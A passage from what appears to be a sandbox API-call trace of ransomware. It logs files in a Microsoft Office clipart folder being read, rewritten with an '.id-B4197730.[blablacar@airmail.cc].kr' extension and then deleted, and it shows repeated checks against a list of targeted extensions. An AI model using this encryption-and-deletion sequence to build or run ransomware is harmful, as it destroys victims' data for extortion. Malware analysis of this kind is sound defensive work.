Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01173_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0106.664] GetLastError () returned 0x0 [0106.664] ReadFile (in: hFile=0x36c, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0x66dc, lpOverlapped=0x0) returned 1 [0106.667] WriteFile (in: hFile=0x340, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0x66e0, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0x66e0, lpOverlapped=0x0) returned 1 [0106.669] ReadFile (in: hFile=0x36c, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0x0, lpOverlapped=0x0) returned 1 [0106.669] WriteFile (in: hFile=0x340, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0xec, lpOverlapped=0x0) returned 1 [0106.669] SetEndOfFile (hFile=0x340) returned 1 [0106.669] CloseHandle (hObject=0x340) returned 1 [0106.671] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0106.671] SetEndOfFile (hFile=0x36c) returned 1 [0106.672] CloseHandle (hObject=0x36c) returned 1 [0106.672] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0106.673] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01173_.wmf")) returned 1 [0106.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0106.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0106.673] lstrlenW (lpString=".doc") returned 4 [0106.673] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0106.673] lstrlenW (lpString=".docx") returned 5 [0106.673] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0106.673] lstrlenW (lpString=".pdf") returned 4 [0106.673] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0106.673] lstrlenW (lpString=".xls") returned 4 [0106.673] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0106.673] lstrlenW (lpString=".xlsx") returned 5 [0106.673] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0106.673] lstrlenW (lpString=".ppt") returned 4 [0106.673] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0106.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0106.673] lstrlenW (lpString=".zip") returned 4 [0106.674] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0106.674] lstrlenW (lpString=".rar") returned 4 [0106.674] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0106.674] lstrlenW (lpString=".bz2") returned 4 [0106.674] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0106.674] lstrlenW (lpString=".7z") returned 3 [0106.674] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0106.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0106.674] lstrlenW (lpString=".dbf") returned 4 [0106.674] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0106.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0106.674] lstrlenW (lpString=".1cd") returned 4 [0106.674] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0106.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0106.674] lstrlenW (lpString=".jpg") returned 4 [0106.674] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0106.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0106.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0106.674] lstrlenW (lpString=".doc") returned 4 [0106.674] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0106.674] lstrlenW (lpString=".docx") returned 5 [0106.674] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0106.674] lstrlenW (lpString=".pdf") returned 4 [0106.674] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0106.674] lstrlenW (lpString=".xls") returned 4 [0106.674] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0106.674] lstrlenW (lpString=".xlsx") returned 5 [0106.675] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0106.675] lstrlenW (lpString=".ppt") returned 4 [0106.675] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0106.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0106.675] lstrlenW (lpString=".zip") returned 4 [0106.675] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0106.675] lstrlenW (lpString=".rar") returned 4 [0106.675] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0106.675] lstrlenW (lpString=".bz2") returned 4 [0106.675] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0106.675] lstrlenW (lpString=".7z") returned 3 [0106.675] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0106.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0106.675] lstrlenW (lpString=".dbf") returned 4 [0106.675] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0106.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0106.675] lstrlenW (lpString=".1cd") returned 4 [0106.675] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0106.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0106.675] lstrlenW (lpString=".jpg") returned 4 [0106.675] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0106.675] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0106.676] lstrlenW (lpString="AN01184_.WMF") returned 12 [0106.676] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0106.676] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x25aff14 | out: lpFileSize=0x25aff14*=3746) returned 1 [0106.676] CloseHandle (hObject=0x36c) returned 1 [0106.676] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf")) returned 0x220 [0106.676] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0106.676] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0106.677] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0106.677] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0106.677] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0106.677] GetLastError () returned 0x0 [0106.677] ReadFile (in: hFile=0x36c, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0xea2, lpOverlapped=0x0) returned 1 [0106.679] WriteFile (in: hFile=0x340, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0xeb0, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0xeb0, lpOverlapped=0x0) returned 1 [0106.680] ReadFile (in: hFile=0x36c, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0x0, lpOverlapped=0x0) returned 1 [0106.680] WriteFile (in: hFile=0x340, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0xec, lpOverlapped=0x0) returned 1 [0106.680] SetEndOfFile (hFile=0x340) returned 1 [0106.680] CloseHandle (hObject=0x340) returned 1 [0106.681] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0106.681] SetEndOfFile (hFile=0x36c) returned 1 [0106.682] CloseHandle (hObject=0x36c) returned 1 [0106.682] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0106.682] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf")) returned 1 [0106.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0106.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0106.683] lstrlenW (lpString=".doc") returned 4 [0106.683] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0106.683] lstrlenW (lpString=".docx") returned 5 [0106.683] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0106.683] lstrlenW (lpString=".pdf") returned 4 [0106.683] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0106.683] lstrlenW (lpString=".xls") returned 4 [0106.683] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0106.683] lstrlenW (lpString=".xlsx") returned 5 [0106.683] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0106.683] lstrlenW (lpString=".ppt") returned 4 [0106.683] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0106.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0106.683] lstrlenW (lpString=".zip") returned 4 [0106.683] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0106.683] lstrlenW (lpString=".rar") returned 4 [0106.683] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0106.683] lstrlenW (lpString=".bz2") returned 4 [0106.683] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0106.683] lstrlenW (lpString=".7z") returned 3 [0106.683] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0106.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0106.683] lstrlenW (lpString=".dbf") returned 4 [0106.683] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0106.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0106.683] lstrlenW (lpString=".1cd") returned 4 [0106.683] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0106.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0106.683] lstrlenW (lpString=".jpg") returned 4 [0106.683] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0106.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0106.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0106.684] lstrlenW (lpString=".doc") returned 4 [0106.684] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0106.684] lstrlenW (lpString=".docx") returned 5 [0106.684] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0106.684] lstrlenW (lpString=".pdf") returned 4 [0106.684] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0106.684] lstrlenW (lpString=".xls") returned 4 [0106.684] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0106.684] lstrlenW (lpString=".xlsx") returned 5 [0106.684] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0106.684] lstrlenW (lpString=".ppt") returned 4 [0106.684] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0106.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0106.684] lstrlenW (lpString=".zip") returned 4 [0106.684] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0106.684] lstrlenW (lpString=".rar") returned 4 [0106.684] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0106.684] lstrlenW (lpString=".bz2") returned 4 [0106.684] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0106.684] lstrlenW (lpString=".7z") returned 3 [0106.684] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0106.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0106.684] lstrlenW (lpString=".dbf") returned 4 [0106.684] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0106.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0106.684] lstrlenW (lpString=".1cd") returned 4 [0106.684] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0106.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0106.685] lstrlenW (lpString=".jpg") returned 4 [0106.685] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0106.685] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0106.685] lstrlenW (lpString="AN01216_.WMF") returned 12 [0106.685] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0106.685] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x25aff14 | out: lpFileSize=0x25aff14*=5836) returned 1 [0106.685] CloseHandle (hObject=0x36c) returned 1 [0106.685] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf")) returned 0x220 [0106.685] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0106.685] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0106.685] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0106.686] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0106.686] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0106.686] GetLastError () returned 0x0 [0106.686] ReadFile (in: hFile=0x36c, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0x16cc, lpOverlapped=0x0) returned 1 [0106.687] WriteFile (in: hFile=0x340, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0x16d0, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0x16d0, lpOverlapped=0x0) returned 1 [0106.688] ReadFile (in: hFile=0x36c, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0x0, lpOverlapped=0x0) returned 1 [0106.688] WriteFile (in: hFile=0x340, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0xec, lpOverlapped=0x0) returned 1 [0106.688] SetEndOfFile (hFile=0x340) returned 1 [0106.689] CloseHandle (hObject=0x340) returned 1 [0106.689] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0106.690] SetEndOfFile (hFile=0x36c) returned 1 [0106.690] CloseHandle (hObject=0x36c) returned 1 [0106.691] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0106.691] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf")) returned 1 [0106.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0106.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0106.691] lstrlenW (lpString=".doc") returned 4 [0106.691] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0106.691] lstrlenW (lpString=".docx") returned 5 [0106.691] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0106.691] lstrlenW (lpString=".pdf") returned 4 [0106.691] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0106.691] lstrlenW (lpString=".xls") returned 4 [0106.692] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0106.692] lstrlenW (lpString=".xlsx") returned 5 [0106.692] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0106.692] lstrlenW (lpString=".ppt") returned 4 [0106.692] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0106.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0106.692] lstrlenW (lpString=".zip") returned 4 [0106.692] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0106.692] lstrlenW (lpString=".rar") returned 4 [0106.692] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0106.692] lstrlenW (lpString=".bz2") returned 4 [0106.692] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0106.692] lstrlenW (lpString=".7z") returned 3 [0106.692] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0106.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0106.692] lstrlenW (lpString=".dbf") returned 4 [0106.693] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0106.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0106.693] lstrlenW (lpString=".1cd") returned 4 [0106.693] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0106.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0106.693] lstrlenW (lpString=".jpg") returned 4 [0106.693] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0106.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0106.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0106.693] lstrlenW (lpString=".doc") returned 4 [0106.693] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0106.693] lstrlenW (lpString=".docx") returned 5 [0106.693] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0106.693] lstrlenW (lpString=".pdf") returned 4 [0106.693] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0106.693] lstrlenW (lpString=".xls") returned 4 [0106.693] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0106.693] lstrlenW (lpString=".xlsx") returned 5 [0106.693] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0106.693] lstrlenW (lpString=".ppt") returned 4 [0106.693] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0106.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0106.693] lstrlenW (lpString=".zip") returned 4 [0106.693] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0106.694] lstrlenW (lpString=".rar") returned 4 [0106.694] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0106.694] lstrlenW (lpString=".bz2") returned 4 [0106.694] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0106.694] lstrlenW (lpString=".7z") returned 3 [0106.694] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0106.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0106.694] lstrlenW (lpString=".dbf") returned 4 [0106.694] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0106.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0106.694] lstrlenW (lpString=".1cd") returned 4 [0106.694] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0106.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0106.694] lstrlenW (lpString=".jpg") returned 4 [0106.694] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0106.694] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0106.694] lstrlenW (lpString="AN01218_.WMF") returned 12 [0106.694] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0106.695] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x25aff14 | out: lpFileSize=0x25aff14*=3012) returned 1 [0106.695] CloseHandle (hObject=0x36c) returned 1 [0106.695] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf")) returned 0x220 [0106.695] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0106.695] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0106.695] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0106.695] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0106.695] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0106.696] GetLastError () returned 0x0 [0106.696] ReadFile (in: hFile=0x36c, lpBuffer=0x3ce5020, 